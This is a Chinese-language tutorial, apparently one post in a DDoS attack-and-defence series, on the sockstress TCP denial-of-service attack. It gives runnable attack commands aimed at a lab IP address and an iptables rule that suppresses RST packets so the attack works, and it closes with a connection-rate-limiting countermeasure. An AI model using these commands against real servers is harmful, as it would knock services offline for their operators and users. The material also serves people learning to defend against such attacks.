系列文章
DDOS渗透与攻防(一)之拒绝服务攻击概念介绍
DDOS渗透与攻防(二)之SYN-Flood攻击
socktress攻击
攻击协议原理介绍说明-socktress
2008年有Jack C.Louis发现,针对TCP服务的拒绝服务攻击:
- 消耗被攻击目标系统资源,与攻击目标建立大量socket链接
- 完成三次握手最后的ACK包window大小为0(客户端不接收数据),攻击者资源消耗小(CPU 内存 带宽)
- 异步攻击,单机可拒绝服务高配资源服务器
- window窗,实现的TCP流控
利用脚本实现socktress攻击:
攻击脚本:socktress
环境准备:
# 防火墙需要进行配置,阻止RST包发出
iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.110.23 -j DROP
说明:发一个包释放一个连接,这种达不到攻击郊果。要构成攻击效果可以通过iptables限止发送RST包
攻击命令:HTTP协议访问
# C攻击脚本
./sockstress 192.168.110.23:80 eth0
./sockstress 192.168.110.23:80 eth0 -d 100000
./sockstress 192.168.110.23:80 eth0 -p payloads/http
说明:-d是微秒内指定,默认为1000000 改成10之后并发带度更快
我们来看一下攻击的效果:
可以看到我们发起的socktress攻击
网站一直无法响应:
攻击效果抓包截图:
攻击防护措施方法:
直到今天sockstress攻击仍然是一种很有效的DoS攻击方式,甶于建立完整的TCP三步握手,因此使用syn cookie防御无效,根本的防御方法是采用白名单(不实际)
折中对策:限制单位时间内每IP建的TCP连接数
#封杀每30秒与80端口建立连接超过10个的IP地址
iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP